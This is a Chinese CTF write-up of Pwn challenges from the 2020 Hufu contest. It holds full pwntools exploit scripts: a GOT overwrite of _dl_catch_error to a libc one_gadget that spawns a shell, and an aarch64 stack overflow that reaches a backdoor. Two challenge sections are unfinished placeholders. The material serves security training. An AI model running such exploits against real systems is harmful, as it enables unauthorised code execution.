【WriteUp】2020 数字中国创新大赛虎符网络安全赛道 -- Pwn 题解

MarksMan

Description:

The marksman can shoot very accurately!

Solution:

程序保护如下:

Arch:     amd64-64-little
RELRO:    Full RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      PIE enabled

main 函数如下:

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  signed int i; // [rsp+8h] [rbp-28h]
  signed int j; // [rsp+Ch] [rbp-24h]
  __int64 v6; // [rsp+10h] [rbp-20h]
  char v7[3]; // [rsp+25h] [rbp-Bh]
  unsigned __int64 v8; // [rsp+28h] [rbp-8h]

  v8 = __readfsqword(0x28u);
  chall_init();
  chall_welcome();
  puts("Free shooting games! Three bullets available!");
  printf("I placed the target near: %p\n", &puts);
  puts("shoot!shoot!");
  v6 = read_atol();
  for ( i = 0; i <= 2; ++i )
  {
    puts("biang!");
    read(0, &v7[i], 1uLL);
    getchar();
  }
  if ( (unsigned int)check(v7) )
  {
    for ( j = 0; j <= 2; ++j )
      *(_BYTE *)(j + v6) = v7[j];
  }
  if ( !dlopen(0LL, 1) )
    exit(1);
  puts("bye~");
  return 0LL;
}

check 函数如下:

signed __int64 __fastcall check(_BYTE *a1)
{
  if ( (*a1 != 0xC5u || a1[1] != 0xF2u) && (*a1 != 0x22 || a1[1] != 0xF3u) && *a1 != 0x8Cu && a1[1] != 0xA3u )
    return 1LL;
  puts("You always want a Gold Finger!");
  return 0LL;
}

这题给了一个三字节任意写的漏洞,也提供了 puts 函数的 libc

题目里面有 exit 函数和 dlopen 函数,因为 dlopen 函数在本程序中比 exit 函数提前调用,于是乎这题跟 exit 就没啥关系了

考点是覆盖 dl 中的数据达到劫持程序流的目的,试了下两个 _rtld_global 的地址覆盖,addr_one_gadget 均失效

于是采用覆盖 _dl_catch_error@got 为 addr_one_gadget 的办法来提权

接下来说 addr_one_gadget

给了 libc-2.27.so,那么常见的 libc_one_gadget 有 [0x4f2c5, 0x4f322, 0x10a38c]

由 check 函数可知,0x10a38c 完全不能使用,另外两个可以碰运气,或许能够使用,但是经测试都不能用

这时就要用到 one_gadget 的隐藏用法了,不过滤难以构造的 one_gadget,如下:

root@leppwn:~/CTF/Pwn# one_gadget -l 1 /lib/x86_64-linux-gnu/libc.so.6
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
  rcx == NULL

0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL

0xe569f execve("/bin/sh", r14, r12)
constraints:
  [r14] == NULL || r14 == NULL
  [r12] == NULL || r12 == NULL

0xe5858 execve("/bin/sh", [rbp-0x88], [rbp-0x70])
constraints:
  [[rbp-0x88]] == NULL || [rbp-0x88] == NULL
  [[rbp-0x70]] == NULL || [rbp-0x70] == NULL

0xe585f execve("/bin/sh", r10, [rbp-0x70])
constraints:
  [r10] == NULL || r10 == NULL
  [[rbp-0x70]] == NULL || [rbp-0x70] == NULL

0xe5863 execve("/bin/sh", r10, rdx)
constraints:
  [r10] == NULL || r10 == NULL
  [rdx] == NULL || rdx == NULL

0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL

0x10a398 execve("/bin/sh", rsi, [rax])
constraints:
  [rsi] == NULL || rsi == NULL
  [[rax]] == NULL || [rax] == NULL

从此我们得到完整的 libc_one_gadget 表,尝试一番后,偏移 0xe569f 可以顺利提权

exp 如下:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

debug = 1
context(arch='amd64', endian='el', os='linux')
context.log_level = 'debug'
if debug == 1:
    p = process(['./chall'])
else:
    p = remote('', )
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)

libc_one_gadget = [0xe569f, 0xe5858, 0xe585f, 0xe5863, 0x10a398]
p.recvuntil('near: ')

addr_puts = int(p.recv(14), 16)
libcbase = addr_puts - libc.sym['puts']
addr_one_gadget = libcbase + libc_one_gadget[0]
got__dl_catch_error = libcbase + 0x5f4000+56

# gdb.attach(p, "b dlopen\nc")
success('got__dl_catch_error = ' + hex(got__dl_catch_error))
p.sendlineafter('shoot!\n', str(got__dl_catch_error))
p.sendlineafter('biang!\n', p64(addr_one_gadget)[0])
p.sendlineafter('biang!\n', p64(addr_one_gadget)[1])
p.sendlineafter('biang!\n', p64(addr_one_gadget)[2])
p.interactive()

Flag:

动态靶机

SecureBox(未完)

文件存于:https://quqi.gblhgk.com/s/911627/pbVnzGhyTKlcesY8

Description:

Super Secure Box. Trust me.

Solution:

程序保护如下:

test

main 函数如下:

test

exp 如下:

test

Flag:

动态靶机

encnote(未完)

文件存于:https://quqi.gblhgk.com/s/911627/gd7RBEW2j1s8NrrL

Description:

This is a note system,but some functions are not finished yet.Have Fun.

Solution:

程序保护如下:

test

main 函数如下:

test

exp 如下:

test

Flag:

动态靶机

count

Description:

破绽在推算之后。

Solution:

程序保护如下:

Arch:     aarch64-64-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x400000)

main 函数如下:

__int64 main()
{
  unsigned int v0; // w0
  __int64 v1; // x0
  __int64 v2; // x0
  __int64 v3; // x0
  __int64 v4; // x0
  __int64 v6; // [xsp+10h] [xbp+10h]
  __int64 v7; // [xsp+78h] [xbp+78h]
  int v8; // [xsp+DCh] [xbp+DCh]
  int v9; // [xsp+E0h] [xbp+E0h]
  int v10; // [xsp+E4h] [xbp+E4h]
  int v11; // [xsp+E8h] [xbp+E8h]
  int v12; // [xsp+ECh] [xbp+ECh]
  int v13; // [xsp+F0h] [xbp+F0h]
  int v14; // [xsp+F4h] [xbp+F4h]
  unsigned int v15; // [xsp+F8h] [xbp+F8h]
  int v16; // [xsp+FCh] [xbp+FCh]

  chall_init();
  v16 = 0;
  do
  {
    v0 = time(0LL);
    v15 = v0;
    v1 = srand(v0);
    v2 = (rand(v1) % 100);
    v14 = v2;
    v3 = (rand(v2) % 100);
    v13 = v3;
    v4 = (rand(v3) % 100);
    v12 = v4;
    v11 = rand(v4) % 100;
    printf("there have 200 levels ~");
    printf("Math: %d * %d + %d + %d = ???");
    printf("input answer:");
    read(0LL, &v6, 20LL);
    v10 = v14 * v13 + v12 + v11;
    v9 = strtol(&v6, 0LL, 10LL);
    if ( v10 != v9 )
    {
      puts("wrong ");
      exit(0LL);
    }
    puts("good !");
    ++v16;
  }
  while ( v16 <= 199 );
  v8 = 256;
  read(0LL, &v7, 110LL);
  if ( v8 == 0x12235612 )
  {
    puts("get it ~");
    backdoor();
  }
  return 0LL;
}

程序给了后门,阅读 main 函数可以发现程序是先判断 200 次计算表达式的正确与否

然后判断 v8 变量是否等于 0x12235612,如果相等就跳转到后门地址,获得提权

v7 变量可写很长,足以覆盖掉 v8 变量,所以这是一道送分题

exp 如下:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

debug = 2
context(arch="arm", endian='el', os="linux")
# context.log_level = "debug"
if debug == 1:
    p = process(['qemu-aarch64', '-g', '12345', '-L', '/usr/aarch64-linux-gnu/', './chall'])
    libc = ELF('/usr/aarch64-linux-gnu/lib/libc.so.6', checksec=False)
elif debug == 2:
    p = process(['qemu-aarch64', '-L', '/usr/aarch64-linux-gnu/', './chall'])
    libc = ELF('/usr/aarch64-linux-gnu/lib/libc.so.6', checksec=False)
else:
    p = remote('', 27043)
    libc = ELF('./libc.so.6', checksec=False)

for i in range(0, 200):
    p.recvuntil('Math: ')
    p.sendlineafter('answer:', str(eval(p.recvuntil(' = ???input ')[:-12])))
    info('level = ' + str(i + 1))

pd = 'a' * 0x64
pd += p64(0x12235612)
p.send(pd)
p.recv()
p.interactive()

Flag:

动态靶机

点赞

发表评论

电子邮件地址不会被公开。必填项已用 * 标注